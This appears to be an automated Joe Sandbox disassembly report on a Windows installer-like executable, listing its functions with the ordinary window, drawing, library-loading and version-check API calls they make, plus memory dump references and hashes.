Opcode ID: 5d8119482a24acdf9dbc4f71c87d898742faec31f652e860e6f74a5bb4e0366a
Instruction ID: 073f11bba2386bee955988a390c3df6f0cbda7ed7a331810ab0cae2060ca734e
Opcode Fuzzy Hash: 5d8119482a24acdf9dbc4f71c87d898742faec31f652e860e6f74a5bb4e0366a
Instruction Fuzzy Hash: F9114C72E40659ABDF10D6D9D985FAFB3BCEF08704F048456B614FB242C678A8418B54

Function 00423304 Relevance: 10.6, APIs: 7, Instructions: 56threadwindowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 0042331F
WindowFromPoint.USER32(?,?), ref: 0042332C
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0042333A
GetCurrentThreadId.KERNEL32 ref: 00423341
SendMessageA.USER32(00000000,00000084,?,?), ref: 0042335A
SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 00423371
SetCursor.USER32(00000000), ref: 00423383

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: 60706cbef7e7fd969e6117079794ea181f59045882c2055e97c618c29bc945ad
Instruction ID: 4e500bdd1cb7c406dcecfc45487f359b17b305850d12e3c552a5b3a09f906ed3
Opcode Fuzzy Hash: 60706cbef7e7fd969e6117079794ea181f59045882c2055e97c618c29bc945ad
Instruction Fuzzy Hash: EC01D4223043103AD620BB795C86E3F26A8CFC5B55F50417FB909BE283DA3D8D0163AD

Function 00490498 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 004904A8
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 004904B5
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 004904C2

Strings

user32.dll, xrefs: 004904A3
MonitorFromRect, xrefs: 004904AF
GetMonitorInfoA, xrefs: 004904BC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 667068680-2254406584
Opcode ID: c1cb388f18a833251ea10164337e0a4ec210805cd78a1c1cea1daf9251305321
Instruction ID: bf7ebddba617cbdee0a40413f71d0bc574f40d9895f93a5823e30edc8c05030a
Opcode Fuzzy Hash: c1cb388f18a833251ea10164337e0a4ec210805cd78a1c1cea1daf9251305321
Instruction Fuzzy Hash: FEF0F692B817156FDA20657A0C81E7B69CCCF85B74F050037BF44AB382E96C9D054ABD

Function 0045BEBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(023D0000,BZ2_bzDecompressInit), ref: 0045BEC5
GetProcAddress.KERNEL32(023D0000,BZ2_bzDecompress), ref: 0045BED5
GetProcAddress.KERNEL32(023D0000,BZ2_bzDecompressEnd), ref: 0045BEE5

Strings

BZ2_bzDecompressInit, xrefs: 0045BEBF
BZ2_bzDecompress, xrefs: 0045BECF
BZ2_bzDecompressEnd, xrefs: 0045BEDF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 190572456-212574377
Opcode ID: dd809cf921f76bb9bcb051d5bf3bd6d10ee41af71f0ab6146759bdd998c59177
Instruction ID: 1717a26d7ff9e6ec21cdec1e53d59f2ff4e9db98930efb332cadb59a07a09a75
Opcode Fuzzy Hash: dd809cf921f76bb9bcb051d5bf3bd6d10ee41af71f0ab6146759bdd998c59177
Instruction Fuzzy Hash: C8F01DB2929700DADB14DF32AC8572726A5E768316F14843BD906962A2D378044CCFAC

Function 0042E788 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30libraryloaderwindowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,00000004,00494934,004555B5,00455958,0045550C,00000000,00000B06,00000000,00000000,?,00000001,00000000,00000002,00000000), ref: 0042E7A1
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E7A7
InterlockedExchange.KERNEL32(00496668,00000001), ref: 0042E7B8

Part of subcall function 0042E718: GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042E7DC,00000004,00494934,004555B5,00455958,0045550C,00000000,00000B06,00000000,00000000,?,00000001,00000000), ref: 0042E72E
Part of subcall function 0042E718: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E734
Part of subcall function 0042E718: InterlockedExchange.KERNEL32(00496660,00000001), ref: 0042E745

ChangeWindowMessageFilterEx.USER32(00000000,?,00000001,00000000,00000004,00494934,004555B5,00455958,0045550C,00000000,00000B06,00000000,00000000,?,00000001,00000000), ref: 0042E7CC

Strings

ChangeWindowMessageFilterEx, xrefs: 0042E797
user32.dll, xrefs: 0042E79C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc$ChangeFilterMessageWindow
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 142928637-2676053874
Opcode ID: 5663ba0279ef7a797ef83ec368cf053fb4365b88277676e543719bb1127ecfcf
Instruction ID: 1cee5d980b1c9a47755d21244efa4bf10fb7f6722dba01a1fc6581bb9a41cf17
Opcode Fuzzy Hash: 5663ba0279ef7a797ef83ec368cf053fb4365b88277676e543719bb1127ecfcf
Instruction Fuzzy Hash: CBE092B1341720AAEA1077B67CC6F9A2258C780769F55403BF500B61D1C2FE0C80CE6C

Function 0044C31C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,0044EBC9), ref: 0044C32B
GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044C33C
GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044C34C

Strings

LresultFromObject, xrefs: 0044C336
CreateStdAccessibleObject, xrefs: 0044C346
oleacc.dll, xrefs: 0044C326

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 2238633743-1050967733
Opcode ID: 99b5c94386f6dc155553f3a80826bf5cf96db1d3ea4612730bbcf9dfad295514
Instruction ID: 166c02542ccbaaf1b8109ba038d3dbdd24cda0710811ba8b4db32db96d29080e
Opcode Fuzzy Hash: 99b5c94386f6dc155553f3a80826bf5cf96db1d3ea4612730bbcf9dfad295514
Instruction Fuzzy Hash: E3F09EB0182741DAFB50AFF5ECC572636A4E361B0DF19917BA801561A2C7BE4444CE1D

Function 0047467C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00493DA2), ref: 00474682
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 0047468F
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 0047469F

Strings

kernel32.dll, xrefs: 0047467D
VerifyVersionInfoW, xrefs: 00474699
VerSetConditionMask, xrefs: 00474689

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
API String ID: 667068680-222143506
Opcode ID: 17d7d9ddc9679e46750ecb828f40119207d65bad2e21f503b1ff2f29292c9e0e
Instruction ID: 28acd5433f491e1cad215d47bc9d1cc185acf6ffce134010d13ac14222093bbd
Opcode Fuzzy Hash: 17d7d9ddc9679e46750ecb828f40119207d65bad2e21f503b1ff2f29292c9e0e
Instruction Fuzzy Hash: 33C0C9E0245740EA9A00BBF12C82A7A2548D581B28B20813B744869182D77C4C108E1C

Function 0041B5DC Relevance: 9.1, APIs: 6, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B6B5
73A1A570.USER32(?), ref: 0041B6C1
73A18830.GDI32(00000000,?,00000000,00000000,0041B78C,?,?), ref: 0041B6F6
73A122A0.GDI32(00000000,00000000,?,00000000,00000000,0041B78C,?,?), ref: 0041B702
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041B76A,?,00000000,0041B78C,?,?), ref: 0041B730
73A18830.GDI32(00000000,00000000,00000000,0041B771,?,?,00000000,00000000,0041B76A,?,00000000,0041B78C,?,?), ref: 0041B764

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A18830$A122A26310A570Focus
String ID:
API String ID: 3906783838-0
Opcode ID: d29f05eb6b29070db352309e07eb4e8bfeb24327755f0d073565eec47d644615
Instruction ID: 06dd750ffd38faa4806619bbf82afcbb6c92213719a6bc319da55d16d67b79f4
Opcode Fuzzy Hash: d29f05eb6b29070db352309e07eb4e8bfeb24327755f0d073565eec47d644615
Instruction Fuzzy Hash: 8E512C70A00609AFDF11DFA9C895AEEBBB8FF49704F104466F510A7390D7789981CBA9

Function 0041B8AC Relevance: 9.1, APIs: 6, Instructions: 142windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B987
73A1A570.USER32(?), ref: 0041B993
73A18830.GDI32(00000000,?,00000000,00000000,0041BA59,?,?), ref: 0041B9CD
73A122A0.GDI32(00000000,00000000,?,00000000,00000000,0041BA59,?,?), ref: 0041B9D9
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BA37,?,00000000,0041BA59,?,?), ref: 0041B9FD
73A18830.GDI32(00000000,00000000,00000000,0041BA3E,?,?,00000000,00000000,0041BA37,?,00000000,0041BA59,?,?), ref: 0041BA31

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A18830$A122A26310A570Focus
String ID:
API String ID: 3906783838-0
Opcode ID: 7c51fc24fae23f99d30c86bebf47e6e5bb2fa1576662f29aaf30661c9bdccefa
Instruction ID: 49b1e422d63778e1935042bf56866254f806bc58ba08b8974fd4ee1451f7b7cb
Opcode Fuzzy Hash: 7c51fc24fae23f99d30c86bebf47e6e5bb2fa1576662f29aaf30661c9bdccefa
Instruction Fuzzy Hash: 4F512B74A006089FCB11DFA9C895AAEBBF9FF48700F118066F904EB750D7389D40CBA8

Function 0041B478 Relevance: 9.1, APIs: 6, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B4EE
73A1A570.USER32(?,00000000,0041B5C8,?,?,?,?), ref: 0041B4FA
73A24620.GDI32(?,00000068,00000000,0041B59C,?,?,00000000,0041B5C8,?,?,?,?), ref: 0041B516
73A4E680.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041B59C,?,?,00000000,0041B5C8,?,?,?,?), ref: 0041B533
73A4E680.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041B59C,?,?,00000000,0041B5C8), ref: 0041B54A
73A1A480.USER32(?,?,0041B5A3,?,?), ref: 0041B596

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: E680$A24620A480A570Focus
String ID:
API String ID: 3709697839-0
Opcode ID: 1f4298d78a2f1742154d7222e83094663d7d9fd1bb92d6f88fa0bedfa030a04b
Instruction ID: a6e4b16520c9e4bc630ca31e265eea6a5194191570467489af8bdb357d288b52
Opcode Fuzzy Hash: 1f4298d78a2f1742154d7222e83094663d7d9fd1bb92d6f88fa0bedfa030a04b
Instruction Fuzzy Hash: 2D41C571A04254AFDF10DFA9C885AAFBBB5EF49704F1484AAE900E7351D2389D10CBA5

Function 0045B880 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057,00000000,0045B94C,?,?,?,?,00000000), ref: 0045B8EB
SetLastError.KERNEL32(00000000,00000002,?,?,?,0045B9B8,?,00000000,0045B94C,?,?,?,?,00000000), ref: 0045B92A

Strings

CLASSES_ROOT, xrefs: 0045B8B0
MACHINE, xrefs: 0045B8CE
CURRENT_USER, xrefs: 0045B8BF
USERS, xrefs: 0045B8DD

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast
String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
API String ID: 1452528299-1580325520
Opcode ID: 861a83ba792b6ba594de6691562c1106e908fb12a5c19eb2509a206d5efdc02c
Instruction ID: 3e55c907eff9311c1d12beb18ec9094b15e641f00d4f416e5cb082c43bca8c6a
Opcode Fuzzy Hash: 861a83ba792b6ba594de6691562c1106e908fb12a5c19eb2509a206d5efdc02c
Instruction Fuzzy Hash: D411A875204208AFD711EA96C981BAA77ACDB84306F644077FE0056383D77C5F0A969A

Function 0041BCFC Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BD45
GetSystemMetrics.USER32(0000000C), ref: 0041BD4F
73A1A570.USER32(00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD59
73A24620.GDI32(00000000,0000000E,00000000,0041BDCC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD80
73A24620.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041BDCC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD8D
73A1A480.USER32(00000000,00000000,0041BDD3,0000000E,00000000,0041BDCC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BDC6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A24620MetricsSystem$A480A570
String ID:
API String ID: 4042297458-0
Opcode ID: 1c903c0536bb10720712021bcda66a401c12054db1b22576e6386974878fa910
Instruction ID: 8181195c8b7ace5e518c23098daf85fccaa127339f370ed271397b7e8efdaee2
Opcode Fuzzy Hash: 1c903c0536bb10720712021bcda66a401c12054db1b22576e6386974878fa910
Instruction Fuzzy Hash: 1F212C74E046499FEB04EFA9C941BEEB7B4EB48714F10402AF514B7680D7785940CFA9

Function 00479A80 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EC), ref: 00479A8E
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,00468F4C), ref: 00479AB4
GetWindowLongA.USER32(?,000000EC), ref: 00479AC4
SetWindowLongA.USER32(?,000000EC,00000000), ref: 00479AE5
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 00479AF9
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 00479B15

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 7c81e11c22f1129d2ada4923ae3bc2158ade820bcc2b23438ad04653436283af
Instruction ID: 4cdf147c88a5c2a2c1cbeb076d8654748b99a1d87f5e01f82ea68092a1fb91d2
Opcode Fuzzy Hash: 7c81e11c22f1129d2ada4923ae3bc2158ade820bcc2b23438ad04653436283af
Instruction Fuzzy Hash: D0014CB1641210ABD700DBA8DD41F263B98BB1D330F0A026AB599DB2E7C229EC048B0C

Function 0041B1E0 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0041A650: CreateBrushIndirect.GDI32 ref: 0041A6BB

UnrealizeObject.GDI32(00000000), ref: 0041B1EC
SelectObject.GDI32(?,00000000), ref: 0041B1FE
SetBkColor.GDI32(?,00000000), ref: 0041B221
SetBkMode.GDI32(?,00000002), ref: 0041B22C
SetBkColor.GDI32(?,00000000), ref: 0041B247
SetBkMode.GDI32(?,00000001), ref: 0041B252

Part of subcall function 00419FC8: GetSysColor.USER32(?), ref: 00419FD2

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: af92fd76f0ea33d52ebd072e8e43ea1c00ff5cbe0803c9f3aa53dd55169beb2c
Instruction ID: 2be34f36c4bf399c8fa5e8a938e63ded300dcfd20fe04f8c9e05bbd916d2a40e
Opcode Fuzzy Hash: af92fd76f0ea33d52ebd072e8e43ea1c00ff5cbe0803c9f3aa53dd55169beb2c
Instruction Fuzzy Hash: 84F0BFB1511101ABCE00FFBAD9CAE4B27A89F443097048057B944DF19BC63CDC504B3E

Function 00492F2C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

ShowWindow.USER32(?,00000005,00000000,00493191,?,?,00000000), ref: 00492F62

Part of subcall function 0042D7A0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D7B3

Part of subcall function 00407210: SetCurrentDirectoryA.KERNEL32(00000000,?,00492F8A,00000000,0049315D,?,?,00000005,00000000,00493191,?,?,00000000), ref: 0040721B

Part of subcall function 0042D328: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D3B6,?,?,00000000,?,?,00492F94,00000000,0049315D,?,?,00000005), ref: 0042D35D

Strings

.dat, xrefs: 00492FA9
Uninstall, xrefs: 00492F48
.msg, xrefs: 00492FC8
IMsg, xrefs: 00493036

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: 1492898da546e2cc3624b2db100e9229d894c3ebcc03cf50a5e3c5cfa75d7e7a
Instruction ID: e577c12be5b54d78fa1077751f5523510adeee7ee6eab189c18852f993f28198
Opcode Fuzzy Hash: 1492898da546e2cc3624b2db100e9229d894c3ebcc03cf50a5e3c5cfa75d7e7a
Instruction Fuzzy Hash: 24317234A102159FCB00EF65DC5395E7FB5EB8A309B50887AF400A7366CB39AE05DB59

Function 00455518 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 60windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 00455532
SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 004555CF

Strings

4II, xrefs: 004555A7
Failed to create DebugClientWnd, xrefs: 00455598
Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 0045555E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: MessageSend
String ID: 4II$Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
API String ID: 3850602802-4230653114
Opcode ID: fc90fbf580bda2dff7cf9f3dae6bb79bce73c74cb184ba1aa2d14171e982969d
Instruction ID: 992c5d21dee1e1945835a20745f4e70fe959417217851db837dfea9a8464a94b
Opcode Fuzzy Hash: fc90fbf580bda2dff7cf9f3dae6bb79bce73c74cb184ba1aa2d14171e982969d
Instruction Fuzzy Hash: C211E3B0605250AFD700AB2CDC91B6B7B989B95319F15403BF985DB3C7D3798808CBAE

Function 0042E814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonCreate), ref: 0042E846
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E84C
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,user32.dll,ShutdownBlockReasonCreate), ref: 0042E875

Strings

ShutdownBlockReasonCreate, xrefs: 0042E83C
user32.dll, xrefs: 0042E841

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressByteCharHandleModuleMultiProcWide
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 828529508-2866557904
Opcode ID: f6c73efc01099bd7f86a5e5242156e300a0f46a0772caa0c2eebc0c50416524e
Instruction ID: ac0542c787143ba22f0eab23c99be7939f1a28ededf3295516800ce376932e43
Opcode Fuzzy Hash: f6c73efc01099bd7f86a5e5242156e300a0f46a0772caa0c2eebc0c50416524e
